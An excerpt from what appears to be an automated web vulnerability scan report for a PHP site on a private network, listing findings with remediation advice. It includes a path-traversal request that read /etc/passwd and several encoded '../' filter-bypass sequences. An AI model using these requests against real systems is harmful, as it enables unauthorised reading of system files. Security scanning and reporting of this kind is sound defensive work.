mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</p> <p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</p> <p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."</p> <p>Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.</p>

High	Path Traversal
	<p>The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.</p> <p>Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended</p>

	<p>for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.</p> <p>The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\\" on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character.</p> <p>Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.</p>
URL	http://192.168.1.10/affix.php?type=%2Fetc%2Fpasswd
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Instances	1
Solution	<p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</p>
	<p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."</p>
	<p>For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions.</p>
	<p>Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a ';' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised.</p>
	<p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked.</p>
	<p>Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links.</p> <p>Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a</p>

	<p>single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</p> <p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</p> <p>Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, <code>java.io.FilePermission</code> in the Java SecurityManager allows you to specify restrictions on file operations.</p> <p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.</p>

Medium	Absence of Anti-CSRF Tokens
	<p>No Anti-CSRF tokens were found in a HTML submission form.</p> <p>A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.</p>
Description	<p>CSRF attacks are effective in a number of situations, including:</p> <ul style="list-style-type: none"> * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site. * The victim is on the same local network as the target site. <p>CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.</p>

Instances	352
	<p>Phase: Architecture and Design</p> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p> <p>For example, use anti-CSRF packages such as the OWASP CSRGuard.</p>

	<p>Phase: Implementation</p> <p>Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.</p>
	<p>Phase: Architecture and Design</p> <p>Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).</p>
Solution	<p>Note that this can be bypassed using XSS.</p> <p>Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.</p> <p>Note that this can be bypassed using XSS.</p> <p>Use the ESAPI Session Management control.</p> <p>This control includes a component for CSRF.</p> <p>Do not use the GET method for any request that triggers a state change.</p>
	<p>Phase: Implementation</p> <p>Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.</p>

Instances	625
Solution	Review the source code of this page. Implement custom error pages. Consider implementing a mechanism to provide a unique error reference/identifier to the client (browser) while logging the details on the server side and not exposing them to the user.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	90022

Medium	Content Security Policy (CSP) Header Not Set
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to

	declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.

Solution	<p>Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app.</p> <p>If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.</p>

Instances	84
Solution	Please upgrade to the latest version of jquery.
Reference	https://nvd.nist.gov/vuln/detail/CVE-2012-6708 https://github.com/jquery/jquery/issues/2432 http://research.insecurelabs.org/jquery/test/ http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/ http://bugs.jquery.com/ticket/11290 https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ https://nvd.nist.gov/vuln/detail/CVE-2019-11358 https://nvd.nist.gov/vuln/detail/CVE-2015-9251 https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
CWE Id	829
WASC Id	
Plugin Id	10003

Medium	Weak Authentication Method
Description	HTTP basic or digest authentication has been used over an unsecured connection. The credentials can be read and then reused by someone with access to the network.
URL	http://192.168.1.10/phpmyadmin
Method	GET
Attack	
Evidence	WWW-Authenticate: Basic realm="xampp user"
URL	http://192.168.1.10:80/phpmyadmin/
Method	GET
Attack	
Evidence	WWW-Authenticate: Basic realm="xampp user"
Instances	2
Solution	Protect the connection using HTTPS or use a stronger authentication mechanism
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
CWE Id	326
WASC Id	4
Plugin Id	10105

Low	Cookie No HttpOnly Flag
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
URL	http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Instances	2
Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	https://owasp.org/www-community/HttpOnly
CWE Id	1004
WASC Id	13
Plugin Id	10010

Low	Cookie without SameSite Attribute
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
URL	http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Instances	2
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
CWE Id	1275
WASC Id	13
Plugin Id	10054

Low	Cross-Domain JavaScript Source File Inclusion
Description	The page includes one or more script files from a third-party domain.

Plugin Id	10017

Low	Private IP Disclosure
Description	A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
URL	http://192.168.1.10/cgi-bin/test-cgi
Method	GET
Attack	
Evidence	192.168.1.253

URL	http://192.168.1.10:80/cgi-bin/test-cgi/
Method	GET
Attack	
Evidence	192.168.1.253
Instances	2
Solution	Remove the private IP address from the HTTP response body. For comments, use JSP/ASP /PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.

WASC Id	13
Plugin Id	2

Low	Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)
Description	The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.

CWE Id	200
WASC Id	13
Plugin Id	10096

Low	X-Content-Type-Options Header Missing
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.

Solution	<p>Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.</p> <p>If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.</p>
